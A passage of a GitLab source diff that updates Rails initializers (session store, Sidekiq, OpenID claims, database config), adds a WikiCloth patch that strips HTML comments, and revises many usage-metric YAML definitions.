+
Gitlab::Application.configure do
if feature_flags_available? && ::Feature.enabled?(:active_record_transactions_tracking, type: :ops, default_enabled: :yaml)
Gitlab::Database::Transaction::Observer.register!
diff --git a/config/initializers/backtrace_silencers.rb b/config/initializers/backtrace_silencers.rb
index 4fd41bd4c75..249b021c680 100644
--- a/config/initializers/backtrace_silencers.rb
+++ b/config/initializers/backtrace_silencers.rb
@@ -3,8 +3,8 @@
Rails.backtrace_cleaner.remove_silencers!
# This allows us to see the proper caller of SQL calls in {development,test}.log
-if (Rails.env.development? || Rails.env.test?) && Gitlab.ee?
- Rails.backtrace_cleaner.add_silencer { |line| %r(^lib/gitlab/database/load_balancing).match?(line) }
+if Rails.env.development? || Rails.env.test?
+ Rails.backtrace_cleaner.add_silencer { |line| %r{^lib/gitlab/database/load_balancing}.match?(line) }
end
Rails.backtrace_cleaner.add_silencer { |line| !Gitlab::APP_DIRS_PATTERN.match?(line) }
diff --git a/config/initializers/database_config.rb b/config/initializers/database_config.rb
index 1eb9d12812a..a3172fae027 100644
--- a/config/initializers/database_config.rb
+++ b/config/initializers/database_config.rb
@@ -8,11 +8,11 @@ Gitlab.ee do
config.geo_database = config_for(:database_geo)
end
end
-end
-Gitlab.ee do
if Gitlab::Runtime.sidekiq? && Gitlab::Geo.geo_database_configured?
- Rails.configuration.geo_database['pool'] = Gitlab::Database.default_pool_size
- Geo::TrackingBase.establish_connection(Rails.configuration.geo_database)
+ # The Geo::TrackingBase model does not yet use connects_to. So,
+ # this will not properly support geo: from config/databse.yml
+ # file yet. This is ACK of the current state and will be fixed.
+ Geo::TrackingBase.establish_connection(Gitlab::Database.geo_db_config_with_default_pool_size)
end
end
diff --git a/config/initializers/doorkeeper_openid_connect.rb b/config/initializers/doorkeeper_openid_connect.rb
index 476230d0f70..b2cb1843fab 100644
--- a/config/initializers/doorkeeper_openid_connect.rb
+++ b/config/initializers/doorkeeper_openid_connect.rb
@@ -59,6 +59,15 @@ Doorkeeper::OpenidConnect.configure do
o.claim(:picture) { |user| user.avatar_url(only_path: false) }
o.claim(:groups) { |user| user.membership_groups.joins(:route).with_route.map(&:full_path) }
o.claim(:groups_direct, response: [:id_token]) { |user| user.groups.joins(:route).with_route.map(&:full_path) }
+ o.claim('https://gitlab.org/claims/groups/owner') do |user|
+ user.owned_groups.joins(:route).with_route.map(&:full_path).presence
+ end
+ o.claim('https://gitlab.org/claims/groups/maintainer') do |user|
+ user.maintainers_groups.joins(:route).with_route.map(&:full_path).presence
+ end
+ o.claim('https://gitlab.org/claims/groups/developer') do |user|
+ user.developer_groups.joins(:route).with_route.map(&:full_path).presence
+ end
end
end
end
diff --git a/config/initializers/forbid_sidekiq_in_transactions.rb b/config/initializers/forbid_sidekiq_in_transactions.rb
index e5e17672c4e..2ea6c9a7343 100644
--- a/config/initializers/forbid_sidekiq_in_transactions.rb
+++ b/config/initializers/forbid_sidekiq_in_transactions.rb
@@ -20,7 +20,7 @@ module Sidekiq
module NoEnqueueingFromTransactions
%i(perform_async perform_at perform_in).each do |name|
define_method(name) do |*args|
- if !Sidekiq::Worker.skip_transaction_check && ApplicationRecord.inside_transaction?
+ if !Sidekiq::Worker.skip_transaction_check && inside_transaction?
begin
raise Sidekiq::Worker::EnqueueFromTransactionError, <<~MSG
`#{self}.#{name}` cannot be called inside a transaction as this can lead to
@@ -38,6 +38,12 @@ module Sidekiq
super(*args)
end
end
+
+ private
+
+ def inside_transaction?
+ ::ApplicationRecord.inside_transaction? || ::Ci::ApplicationRecord.inside_transaction?
+ end
end
prepend NoEnqueueingFromTransactions
diff --git a/config/initializers/gitlab_experiment.rb b/config/initializers/gitlab_experiment.rb
index 5582c642b3c..5878b8702b9 100644
--- a/config/initializers/gitlab_experiment.rb
+++ b/config/initializers/gitlab_experiment.rb
@@ -42,7 +42,7 @@ Gitlab::Experiment.configure do |config|
# This behavior doesn't make perfect sense for self managed installs either,
# so we don't think we should redirect in those cases.
#
- valid_domains = %w[about.gitlab.com docs.gitlab.com gitlab.com]
+ valid_domains = %w[about.gitlab.com docs.gitlab.com gitlab.com gdk.test localhost]
config.redirect_url_validator = lambda do |url|
Gitlab.dev_env_or_com? && (url = URI.parse(url)) && valid_domains.include?(url.host)
rescue URI::InvalidURIError
diff --git a/config/initializers/kaminari_active_record_relation_methods_with_limit.rb b/config/initializers/kaminari_active_record_relation_methods_with_limit.rb
index 9a5a95403ad..982cb69e532 100644
--- a/config/initializers/kaminari_active_record_relation_methods_with_limit.rb
+++ b/config/initializers/kaminari_active_record_relation_methods_with_limit.rb
@@ -4,7 +4,6 @@ module Kaminari
# Active Record specific page scope methods implementations
module ActiveRecordRelationMethodsWithLimit
MAX_COUNT_LIMIT = 10_000
- MAX_COUNT_NEW_LOWER_LIMIT = 1_000
# This is a modified version of
# https://github.com/kaminari/kaminari/blob/c5186f5d9b7f23299d115408e62047447fd3189d/kaminari-activerecord/lib/kaminari/activerecord/active_record_relation_methods.rb#L17-L41
@@ -22,8 +21,7 @@ module Kaminari
return @total_count = (current_page - 1) * limit_value + @records.length if @records.any? && (@records.length < limit_value)
end
- max_limit = Feature.enabled?(:lower_relation_max_count_limit, type: :ops) ? MAX_COUNT_NEW_LOWER_LIMIT : MAX_COUNT_LIMIT
- limit = options.fetch(:limit, max_limit).to_i
+ limit = options.fetch(:limit, MAX_COUNT_LIMIT).to_i
# #count overrides the #select which could include generated columns referenced in #order, so skip #order here, where it's irrelevant to the result anyway
c = except(:offset, :limit, :order)
# Remove includes only if they are irrelevant
diff --git a/config/initializers/postgres_partitioning.rb b/config/initializers/postgres_partitioning.rb
index 5af8cf52656..f99333f7c82 100644
--- a/config/initializers/postgres_partitioning.rb
+++ b/config/initializers/postgres_partitioning.rb
@@ -2,7 +2,8 @@
Gitlab::Database::Partitioning.register_models([
AuditEvent,
- WebHookLog
+ WebHookLog,
+ LooseForeignKeys::DeletedRecord
])
if Gitlab.ee?
diff --git a/config/initializers/session_store.rb b/config/initializers/session_store.rb
index 75328dcd891..bb2e01a30f1 100644
--- a/config/initializers/session_store.rb
+++ b/config/initializers/session_store.rb
@@ -19,31 +19,22 @@ cookie_key = if Rails.env.development?
"_gitlab_session"
end
-if Gitlab::Utils.to_boolean(ENV['GITLAB_REDIS_STORE_WITH_SESSION_STORE'], default: true)
- store = Gitlab::Redis::SharedState.store(
- namespace: Gitlab::Redis::SharedState::SESSION_NAMESPACE
- )
+store = if Gitlab::Utils.to_boolean(ENV['GITLAB_USE_REDIS_SESSIONS_STORE'], default: true)
+ Gitlab::Redis::Sessions.store(
+ namespace: Gitlab::Redis::Sessions::SESSION_NAMESPACE
+ )
+ else
+ Gitlab::Redis::SharedState.store(
+ namespace: Gitlab::Redis::Sessions::SESSION_NAMESPACE
+ )
+ end
- Gitlab::Application.config.session_store(
- :redis_store, # Using the cookie_store would enable session replay attacks.
- redis_store: store,
- key: cookie_key,
- secure: Gitlab.config.gitlab.https,
- httponly: true,
- expires_in: Settings.gitlab['session_expire_delay'] * 60,
- path: Rails.application.config.relative_url_root.presence || '/'
- )
-else
- sessions_config = Gitlab::Redis::SharedState.params
- sessions_config[:namespace] = Gitlab::Redis::SharedState::SESSION_NAMESPACE
-
- Gitlab::Application.config.session_store(
- :redis_store, # Using the cookie_store would enable session replay attacks.
- servers: sessions_config,
- key: cookie_key,
- secure: Gitlab.config.gitlab.https,
- httponly: true,
- expires_in: Settings.gitlab['session_expire_delay'] * 60,
- path: Rails.application.config.relative_url_root.presence || '/'
- )
-end
+Gitlab::Application.config.session_store(
+ :redis_store, # Using the cookie_store would enable session replay attacks.
+ redis_store: store,
+ key: cookie_key,
+ secure: Gitlab.config.gitlab.https,
+ httponly: true,
+ expires_in: Settings.gitlab['session_expire_delay'] * 60,
+ path: Rails.application.config.relative_url_root.presence || '/'
+)
diff --git a/config/initializers/sidekiq.rb b/config/initializers/sidekiq.rb
index 23052e7ac57..baf252a5d10 100644
--- a/config/initializers/sidekiq.rb
+++ b/config/initializers/sidekiq.rb
@@ -29,7 +29,6 @@ use_sidekiq_legacy_memory_killer = !use_sidekiq_daemon_memory_killer
Sidekiq.configure_server do |config|
config.options[:strict] = false
config.options[:queues] = Gitlab::SidekiqConfig.expand_queues(config.options[:queues])
- config.options[:scheduled_enq] = Gitlab::SidekiqEnq
Sidekiq.logger.info "Listening on queues #{config.options[:queues].uniq.sort}"
@@ -115,5 +114,5 @@ Sidekiq.configure_client do |config|
config.client_middleware(&Gitlab::SidekiqMiddleware.client_configurator)
end
-Sidekiq::Client.prepend Gitlab::Patch::SidekiqClient
-Sidekiq::Cron::Poller.prepend Gitlab::Patch::SidekiqCronPoller
+Sidekiq::Scheduled::Poller.prepend Gitlab::Patch::SidekiqPoller
+Sidekiq::Cron::Poller.prepend Gitlab::Patch::SidekiqPoller
diff --git a/config/initializers/validate_database_config.rb b/config/initializers/validate_database_config.rb
index a651db8b783..d5e73cdc1ee 100644
--- a/config/initializers/validate_database_config.rb
+++ b/config/initializers/validate_database_config.rb
@@ -16,11 +16,11 @@ if configurations = ActiveRecord::Base.configurations.configurations
"The `main:` database needs to be defined as a first configuration item instead of `#{configurations.first.name}`."
end
- rejected_config_names = configurations.map(&:name).to_set - Gitlab::Database::DATABASE_NAMES
+ rejected_config_names = configurations.map(&:name).to_set - Gitlab::Database.all_database_names
if rejected_config_names.any?
raise "ERROR: This installation of GitLab uses unsupported database names " \
"in 'config/database.yml': #{rejected_config_names.to_a.join(", ")}. The only supported ones are " \
- "#{Gitlab::Database::DATABASE_NAMES.join(", ")}."
+ "#{Gitlab::Database.all_database_names.join(", ")}."
end
replicas_config_names = configurations.select(&:replica?).map(&:name)
diff --git a/config/initializers/wikicloth_patch.rb b/config/initializers/wikicloth_patch.rb
new file mode 100644
index 00000000000..13180180c32
--- /dev/null
+++ b/config/initializers/wikicloth_patch.rb
@@ -0,0 +1,159 @@
+# frozen_string_literal: true
+
+require 'wikicloth'
+require 'wikicloth/wiki_buffer/var'
+
+# Adds patch for changes in this PR: https://github.com/nricciar/wikicloth/pull/112/files
+#
+# That fix has already been merged, but the maintainers are not releasing new versions, so we
+# need to patch it here.
+#
+# If they ever do release a version, then we can remove this file.
+#
+# See: https://gitlab.com/gitlab-org/gitlab/-/issues/334056#note_745336618
+
+# Guard to ensure we remember to delete this patch if they ever release a new version of wikicloth
+raise 'New version of WikiCloth detected, please remove this patch' unless Gem::Version.new(WikiCloth::VERSION) == Gem::Version.new('0.8.1')
+
+# rubocop:disable Style/ClassAndModuleChildren
+# rubocop:disable Layout/SpaceAroundEqualsInParameterDefault
+# rubocop:disable Style/HashSyntax
+# rubocop:disable Layout/SpaceAfterComma
+# rubocop:disable Style/RescueStandardError
+# rubocop:disable Rails/Output
+# rubocop:disable Style/MethodCallWithoutArgsParentheses
+# rubocop:disable Layout/EmptyLinesAroundClassBody
+# rubocop:disable Metrics/AbcSize
+# rubocop:disable Metrics/CyclomaticComplexity
+# rubocop:disable Metrics/PerceivedComplexity
+# rubocop:disable Cop/LineBreakAroundConditionalBlock
+# rubocop:disable Layout/EmptyLineAfterGuardClause
+# rubocop:disable Performance/ReverseEach
+# rubocop:disable Style/BlockDelimiters
+# rubocop:disable Cop/LineBreakAroundConditionalBlock
+# rubocop:disable Layout/MultilineBlockLayout
+# rubocop:disable Layout/BlockEndNewline
+module WikiCloth
+ class WikiCloth
+ def render(opt={})
+ self.options = { :noedit => false, :locale => I18n.default_locale, :fast => true, :output => :html, :link_handler => self.link_handler,
+ :params => self.params, :sections => self.sections }.merge(self.options).merge(opt)
+ self.options[:link_handler].params = options[:params]
+
+ I18n.locale = self.options[:locale]
+
+ data = self.sections.collect { |s| s.render(self.options) }.join
+
+ # This is the first patched line from:
+ # https://github.com/nricciar/wikicloth/pull/112/files#diff-eed3de11b953105f9181a6859d58f52af8912d28525fd2a289f8be184e66f531R69
+ data.gsub!(/<!--.*?-->/m,"")
+
+ data << "\n" if data.last(1) != "\n"
+ data << "garbage"
+
+ buffer = WikiBuffer.new("",options)
+
+ begin
+ if self.options[:fast]
+ until data.empty?
+ case data
+ when /\A\w+/
+ data = $'
+ @current_row += $&.length
+ buffer.add_word($&)
+ when /\A[^\w]+(\w|)/m
+ data = $'
+ $&.each_char { |c| add_current_char(buffer,c) }
+ end
+ end
+ else
+ data.each_char { |c| add_current_char(buffer,c) }
+ end
+ rescue => err
+ debug_tree = buffer.buffers.collect { |b| b.debug }.join("-->")
+ puts I18n.t("unknown error on line", :line => @current_line, :row => @current_row, :tree => debug_tree)
+ raise err
+ end
+
+ buffer.eof()
+ buffer.send("to_#{self.options[:output]}")
+ end
+
+ end
+
+ class WikiBuffer::Var < WikiBuffer
+ def to_html
+ return "" if will_not_be_rendered
+
+ if self.is_function?
+ if Extension.function_exists?(function_name)
+ return Extension.functions[function_name][:klass].new(@options).instance_exec( params.collect { |p| p.strip }, &Extension.functions[function_name][:block] ).to_s
+ end
+ ret = default_functions(function_name,params.collect { |p| p.strip })
+ ret ||= @options[:link_handler].function(function_name, params.collect { |p| p.strip })
+ ret.to_s
+ elsif self.is_param?
+ ret = nil
+ @options[:buffer].buffers.reverse.each do |b|
+ ret = b.get_param(params[0],params[1]) if b.instance_of?(WikiBuffer::HTMLElement) && b.element_name == "template"
+ break unless ret.nil?
+ end
+ ret.to_s
+ else
+ # put template at beginning of buffer
+ template_stack = @options[:buffer].buffers.collect { |b| b.get_param("__name") if b.instance_of?(WikiBuffer::HTMLElement) &&
+ b.element_name == "template" }.compact
+ if template_stack.last == params[0]
+ debug_tree = @options[:buffer].buffers.collect { |b| b.debug }.join("-->")
+ "<span class=\"error\">#{I18n.t('template loop detected', :tree => debug_tree)}</span>"
+ else
+ key = params[0].to_s.strip
+ key_options = params[1..].collect { |p| p.is_a?(Hash) ? { :name => p[:name].strip, :value => p[:value].strip } : p.strip }
+ key_options ||= []
+ key_digest = Digest::MD5.hexdigest(key_options.to_a.sort {|x,y| (x.is_a?(Hash) ? x[:name] : x) <=> (y.is_a?(Hash) ? y[:name] : y) }.inspect)
+
+ return @options[:params][key] if @options[:params].has_key?(key)
+ # if we have a valid cache fragment use it
+ return @options[:cache][key][key_digest] unless @options[:cache].nil? || @options[:cache][key].nil? || @options[:cache][key][key_digest].nil?
+
+ ret = @options[:link_handler].include_resource(key,key_options).to_s
+
+ # This is the second patched line from:
+ # https://github.com/nricciar/wikicloth/pull/112/files#diff-f262faf4fadb222cca87185be0fb65b3f49659abc840794cc83a736d41310fb1R83
+ ret.gsub!(/<!--.*?-->/m,"") unless ret.frozen?
+
+ count = 0
+ tag_attr = key_options.collect { |p|
+ if p.instance_of?(Hash)
+ "#{p[:name]}=\"#{p[:value].gsub(/"/,'&quot;')}\""
+ else
+ count += 1
+ "#{count}=\"#{p.gsub(/"/,'&quot;')}\""
+ end
+ }.join(" ")
+
+ self.data = ret.blank? ? "" : "<template __name=\"#{key}\" __hash=\"#{key_digest}\" #{tag_attr}>#{ret}</template>"
+ ""
+ end
+ end
+ end
+ end
+end
+# rubocop:enable Style/ClassAndModuleChildren
+# rubocop:enable Layout/SpaceAroundEqualsInParameterDefault
+# rubocop:enable Style/HashSyntax
+# rubocop:enable Layout/SpaceAfterComma
+# rubocop:enable Style/RescueStandardError
+# rubocop:enable Rails/Output
+# rubocop:enable Style/MethodCallWithoutArgsParentheses
+# rubocop:enable Layout/EmptyLinesAroundClassBody
+# rubocop:enable Metrics/AbcSize
+# rubocop:enable Metrics/CyclomaticComplexity
+# rubocop:enable Metrics/PerceivedComplexity
+# rubocop:enable Cop/LineBreakAroundConditionalBlock
+# rubocop:enable Layout/EmptyLineAfterGuardClause
+# rubocop:enable Performance/ReverseEach
+# rubocop:enable Style/BlockDelimiters
+# rubocop:enable Cop/LineBreakAroundConditionalBlock
+# rubocop:enable Layout/MultilineBlockLayout
+# rubocop:enable Layout/BlockEndNewline
diff --git a/config/metrics/counts_28d/20210216175016_analytics_total_unique_counts_monthly.yml b/config/metrics/counts_28d/20210216175016_analytics_total_unique_counts_monthly.yml
index 1e3fd72fb55..b4ac7032df6 100644
--- a/config/metrics/counts_28d/20210216175016_analytics_total_unique_counts_monthly.yml
+++ b/config/metrics/counts_28d/20210216175016_analytics_total_unique_counts_monthly.yml
@@ -13,29 +13,32 @@ data_source: redis_hll
instrumentation_class: RedisHLLMetric
options:
events:
- - users_viewing_analytics_group_devops_adoption
- - i_analytics_dev_ops_adoption
- - i_analytics_dev_ops_score
- - p_analytics_merge_request
- - i_analytics_instance_statistics
- - g_analytics_contribution
- - g_analytics_insights
- - g_analytics_issues
- - g_analytics_productivity
- - g_analytics_valuestream
- - p_analytics_pipelines
- - p_analytics_code_reviews
- - p_analytics_valuestream
- - p_analytics_insights
- - p_analytics_issues
- - p_analytics_repo
- - i_analytics_cohorts
+ - users_viewing_analytics_group_devops_adoption
+ - i_analytics_dev_ops_adoption
+ - i_analytics_dev_ops_score
+ - p_analytics_merge_request
+ - i_analytics_instance_statistics
+ - g_analytics_contribution
+ - g_analytics_insights
+ - g_analytics_issues
+ - g_analytics_productivity
+ - g_analytics_valuestream
+ - p_analytics_pipelines
+ - p_analytics_ci_cd_pipelines
+ - p_analytics_ci_cd_deployment_frequency
+ - p_analytics_ci_cd_lead_time
+ - p_analytics_code_reviews
+ - p_analytics_valuestream
+ - p_analytics_insights
+ - p_analytics_issues
+ - p_analytics_repo
+ - i_analytics_cohorts
distribution:
-- ce
-- ee
+ - ce
+ - ee
tier:
-- free
-- premium
-- ultimate
+ - free
+ - premium
+ - ultimate
performance_indicator_type: []
-milestone: "<13.9"
+milestone: '<13.9'
diff --git a/config/metrics/counts_28d/20210216175101_merge_requests_users.yml b/config/metrics/counts_28d/20210216175101_merge_requests_users.yml
index 2b43fbf8131..e5b5300dae3 100644
--- a/config/metrics/counts_28d/20210216175101_merge_requests_users.yml
+++ b/config/metrics/counts_28d/20210216175101_merge_requests_users.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: usage_activity_by_stage_monthly.create.merge_requests_users
description: Distinct count of users performing merge request actions like closed, merged, created, commented
product_section: dev
diff --git a/config/metrics/counts_28d/20210216175542_ci_builds.yml b/config/metrics/counts_28d/20210216175542_ci_builds.yml
index 371da6c937b..0c1523797c0 100644
--- a/config/metrics/counts_28d/20210216175542_ci_builds.yml
+++ b/config/metrics/counts_28d/20210216175542_ci_builds.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: usage_activity_by_stage_monthly.verify.ci_builds
description: Unique monthly builds in project
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml b/config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml
index 317548c8c24..4d9b6b2cd9c 100644
--- a/config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml
+++ b/config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: usage_activity_by_stage_monthly.verify.ci_internal_pipelines
description: Total pipelines in GitLab repositories in a month
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175550_ci_pipeline_config_repository.yml b/config/metrics/counts_28d/20210216175550_ci_pipeline_config_repository.yml
index cd9ed768ce1..976ffa0444a 100644
--- a/config/metrics/counts_28d/20210216175550_ci_pipeline_config_repository.yml
+++ b/config/metrics/counts_28d/20210216175550_ci_pipeline_config_repository.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: usage_activity_by_stage_monthly.verify.ci_pipeline_config_repository
description: Total Monthly Pipelines from templates in repository
product_section: ops
diff --git a/config/metrics/counts_28d/20210216175554_ci_pipelines.yml b/config/metrics/counts_28d/20210216175554_ci_pipelines.yml
index fb3992a766d..ee32c2baed9 100644
--- a/config/metrics/counts_28d/20210216175554_ci_pipelines.yml
+++ b/config/metrics/counts_28d/20210216175554_ci_pipelines.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: usage_activity_by_stage_monthly.verify.ci_pipelines
description: Distinct users triggering pipelines in a month
product_section: ops
diff --git a/config/metrics/counts_28d/20210216180745_action_monthly_active_users_design_management.yml b/config/metrics/counts_28d/20210216180745_action_monthly_active_users_design_management.yml
index 9c2820ce851..3c35bed2ceb 100644
--- a/config/metrics/counts_28d/20210216180745_action_monthly_active_users_design_management.yml
+++ b/config/metrics/counts_28d/20210216180745_action_monthly_active_users_design_management.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: usage_activity_by_stage_monthly.create.action_monthly_active_users_design_management
description: Monthly active users for design management
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181050_packages.yml b/config/metrics/counts_28d/20210216181050_packages.yml
index 45997bad6f2..966f3fa48a3 100644
--- a/config/metrics/counts_28d/20210216181050_packages.yml
+++ b/config/metrics/counts_28d/20210216181050_packages.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: counts_monthly.packages
description: A monthly count of packages published to the registry
product_section: ops
diff --git a/config/metrics/counts_28d/20210216181139_issues.yml b/config/metrics/counts_28d/20210216181139_issues.yml
index 84f7f6f4ba8..de5238e3e77 100644
--- a/config/metrics/counts_28d/20210216181139_issues.yml
+++ b/config/metrics/counts_28d/20210216181139_issues.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: usage_activity_by_stage_monthly.plan.issues
description: Count of users creating Issues in last 28 days.
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181158_epics.yml b/config/metrics/counts_28d/20210216181158_epics.yml
index 59b6cbad145..aa3658b03bd 100644
--- a/config/metrics/counts_28d/20210216181158_epics.yml
+++ b/config/metrics/counts_28d/20210216181158_epics.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: usage_activity_by_stage_monthly.plan.epics
description: Count distinct author ids from epics
product_section: dev
@@ -15,7 +15,5 @@ distribution:
tier:
- premium
- ultimate
-performance_indicator_type:
-- gmau
-- paid_gmau
+performance_indicator_type: []
milestone: "<13.9"
diff --git a/config/metrics/counts_28d/20210216181337_g_project_management_issue_milestone_changed_monthly.yml b/config/metrics/counts_28d/20210216181337_g_project_management_issue_milestone_changed_monthly.yml
index 0a7d5dc82ee..5dc6c335f34 100644
--- a/config/metrics/counts_28d/20210216181337_g_project_management_issue_milestone_changed_monthly.yml
+++ b/config/metrics/counts_28d/20210216181337_g_project_management_issue_milestone_changed_monthly.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: redis_hll_counters.issues_edit.g_project_management_issue_milestone_changed_monthly
description: Count of MAU changing an issue's milestone
product_section: dev
diff --git a/config/metrics/counts_28d/20210216181935_deployments.yml b/config/metrics/counts_28d/20210216181935_deployments.yml
index 24a06991d91..a8c2928caeb 100644
--- a/config/metrics/counts_28d/20210216181935_deployments.yml
+++ b/config/metrics/counts_28d/20210216181935_deployments.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: usage_activity_by_stage_monthly.release.deployments
description: Unique users triggering deployments
product_section: ops
diff --git a/config/metrics/counts_28d/20210216181939_releases.yml b/config/metrics/counts_28d/20210216181939_releases.yml
index 87c39db5271..ea59a5be99f 100644
--- a/config/metrics/counts_28d/20210216181939_releases.yml
+++ b/config/metrics/counts_28d/20210216181939_releases.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: usage_activity_by_stage_monthly.release.releases
description: Unique users creating release tags
product_section: ops
diff --git a/config/metrics/counts_28d/20210216182040_action_monthly_active_users_project_repo.yml b/config/metrics/counts_28d/20210216182040_action_monthly_active_users_project_repo.yml
index 71b7af1eace..e8d8ad16a08 100644
--- a/config/metrics/counts_28d/20210216182040_action_monthly_active_users_project_repo.yml
+++ b/config/metrics/counts_28d/20210216182040_action_monthly_active_users_project_repo.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: usage_activity_by_stage_monthly.create.action_monthly_active_users_project_repo
description: Count of monthly active users who have performed any Git operation (read/write/push)
product_section: dev
diff --git a/config/metrics/counts_28d/20210216183701_jira.yml b/config/metrics/counts_28d/20210216183701_jira.yml
index c8f45b9f926..b171deb35f0 100644
--- a/config/metrics/counts_28d/20210216183701_jira.yml
+++ b/config/metrics/counts_28d/20210216183701_jira.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: usage_activity_by_stage_monthly.manage.issue_imports.jira
description: Count of imports from Jira
product_section: dev
diff --git a/config/metrics/counts_28d/20210216184322_i_code_review_user_approve_mr_monthly.yml b/config/metrics/counts_28d/20210216184322_i_code_review_user_approve_mr_monthly.yml
index 87d78d83450..e3e7aa10c95 100644
--- a/config/metrics/counts_28d/20210216184322_i_code_review_user_approve_mr_monthly.yml
+++ b/config/metrics/counts_28d/20210216184322_i_code_review_user_approve_mr_monthly.yml
@@ -1,5 +1,5 @@
---
-data_category: optional
+data_category: operational
key_path: redis_hll_counters.code_review.i_code_review_user_approve_mr_monthly
description: Count of unique users per month who approve a merge request
product_stage: create
diff --git a/config/metrics/counts_28d/20210216184502_p_ci_templates_implicit_auto_devops_build_monthly.yml b/config/metrics/counts_28d/20210216184502_p_ci_templates_implicit_auto_devops_build_monthly.yml
index 6e944dce726..407768232a5 100644
--- a/config/metrics/counts_28d/20210216184502_p_ci_templates_implicit_auto_devops_build_monthly.yml
+++ b/config/metrics/counts_28d/20210216184502_p_ci_templates_implicit_auto_devops_build_monthly.yml
@@ -7,7 +7,8 @@ product_stage: configure
product_group: group::configure
product_category: infrastructure_as_code
value_type: number
-status: active
+status: removed
+milestone_removed: '14.6'
time_frame: 28d
data_source: redis_hll
instrumentation_class: RedisHLLMetric
diff --git a/config/metrics/counts_28d/20210216184506_p_ci_templates_implicit_auto_devops_deploy_monthly.yml b/config/metrics/counts_28d/20210216184506_p_ci_templates_implicit_auto_devops_deploy_monthly.yml
index 940ef5deb65..291ee7eb149 100644
--- a/config/metrics/counts_28d/20210216184506_p_ci_templates_implicit_auto_devops_deploy_monthly.yml
+++ b/config/metrics/counts_28d/20210216184506_p_ci_templates_implicit_auto_devops_deploy_monthly.yml
@@ -7,7 +7,8 @@ product_stage: configure
product_group: group::configure
product_category: infrastructure_as_code
value_type: number
-status: active
+status: removed
+milestone_removed: '14.6'
time_frame: 28d
data_source: redis_hll
instrumentation_class: RedisHLLMetric
diff --git a/config/metrics/counts_28d/20210216184517_p_ci_templates_5_min_production_app_monthly.yml b/config/metrics/counts_28d/20210216184517_p_ci_templates_5_min_production_app_monthly.yml
index 0ae42fcecc0..155994cb6f8 100644
--- a/config/metrics/counts_28d/20210216184517_p_ci_templates_5_min_production_app_monthly.yml
+++ b/config/metrics/counts_28d/20210216184517_p_ci_templates_5_min_production_app_monthly.yml
@@ -7,7 +7,8 @@ product_stage: deploy
product_group: group::5-min-app
product_category: five_minute_production_app
value_type: number
-status: active
+status: removed
+milestone_removed: '14.6'
time_frame: 28d
data_source: redis_hll
instrumentation_class: RedisHLLMetric
diff --git a/config/metrics/counts_28d/20210216184526_p_ci_templates_aws_cf_deploy_ec2_monthly.yml b/config/metrics/counts_28d/20210216184526_p_ci_templates_aws_cf_deploy_ec2_monthly.yml
index a87e1224745..7d3462cb068 100644
--- a/config/metrics/counts_28d/20210216184526_p_ci_templates_aws_cf_deploy_ec2_monthly.yml
+++ b/config/metrics/counts_28d/20210216184526_p_ci_templates_aws_cf_deploy_ec2_monthly.yml
@@ -8,7 +8,8 @@ product_stage: release
product_group: group::release
product_category: continuous_delivery
value_type: number
-status: active
+status: removed
+milestone_removed: '14.6'
time_frame: 28d
data_source: redis_hll
instrumentation_class: RedisHLLMetric
diff --git a/config/metrics/counts_28d/20210216184534_p_ci_templates_auto_devops_build_monthly.yml b/config/metrics/counts_28d/20210216184534_p_ci_templates_auto_devops_build_monthly.yml
index d6333260017..5b95b20f38d 100644
--- a/config/metrics/counts_28d/20210216184534_p_ci_templates_auto_devops_build_monthly.yml
+++ b/config/metrics/counts_28d/20210216184534_p_ci_templates_auto_devops_build_monthly.yml
@@ -7,7 +7,8 @@ product_stage: configure
product_group: group::configure
product_category: infrastructure_as_code
value_type: number
-status: active
+status: removed
+milestone_removed: '14.6'
time_frame: 28d
data_source: redis_hll
instrumentation_class: RedisHLLMetric
diff --git a/config/metrics/counts_28d/20210216184538_p_ci_templates_auto_devops_deploy_monthly.yml b/config/metrics/counts_28d/20210216184538_p_ci_templates_auto_devops_deploy_monthly.yml
index 792d41e3bbd..6747c81367c 100644
--- a/config/metrics/counts_28d/20210216184538_p_ci_templates_auto_devops_deploy_monthly.yml
+++ b/config/metrics/counts_28d/20210216184538_p_ci_templates_auto_devops_deploy_monthly.yml
@@ -7,7 +7,8 @@ product_stage: configure
product_group: group::configure
product_category: infrastructure_as_code
value_type: number
-status: active
+status: removed
+milestone_removed: '14.6'
time_frame: 28d
data_source: redis_hll
instrumentation_class: RedisHLLMetric
diff --git a/config/metrics/counts_28d/20210216184542_p_ci_templates_auto_devops_deploy_latest_monthly.yml b/config/metrics/counts_28d/20210216184542_p_ci_templates_auto_devops_deploy_latest_monthly.yml
index deafb216e99..9efd5df6104 100644
--- a/config/metrics/counts_28d/20210216184542_p_ci_templates_auto_devops_deploy_latest_monthly.yml
+++ b/config/metrics/counts_28d/20210216184542_p_ci_templates_auto_devops_deploy_latest_monthly.yml
@@ -7,7 +7,8 @@ product_stage: configure
product_group: group::configure
product_category: infrastructure_as_code
value_type: number
-status: active
+status: removed
+milestone_removed: '14.6'
time_frame: 28d
data_source: redis_hll
instrumentation_class: RedisHLLMetric
